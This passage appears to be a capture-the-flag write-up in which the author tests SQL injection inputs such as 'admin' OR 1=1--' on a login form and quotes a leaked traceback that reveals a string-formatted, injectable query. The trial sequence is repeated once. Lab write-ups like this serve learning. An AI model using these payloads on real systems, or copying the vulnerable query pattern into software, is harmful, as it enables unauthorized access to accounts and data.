I didn't know what to do here. So, looked a hint which was
I have no idea what it is but my guess is that secret credentials needs to be obtain to get this last flag. What options do I have? SQL injection to dump the database. The thing that we know by now is, there is a table called admins. I did a hit and trial with multiple cases
Trial 1
username: admin' OR '1' = '1
password: random
result: invalid password
Trial 2
username: user
password: random
result: invalid user
Conclusion at this point: There is a table admins with username and password column. Also, admin is one of the user in that username.
Trial 3
username: admin' OR 1=1--
password: random
result:
Credentials are secret, flags are secret. Coincidence?
I have no idea what it is but my guess is that secret credentials needs to be obtain to get this last flag. What options do I have? SQL injection to dump the database. The thing that we know by now is, there is a table called admins. I did a hit and trial with multiple cases
Trial 1
username: admin' OR '1' = '1
password: random
result: invalid password
Trial 2
username: user
password: random
result: invalid user
Conclusion at this point: There is a table admins with username and password column. Also, admin is one of the user in that username.
Trial 3
username: admin' OR 1=1--
password: random
result:
Traceback (most recent call last):
File "./main.py", line 145, in do_login
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
self.errorhandler(self, exc, value)
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")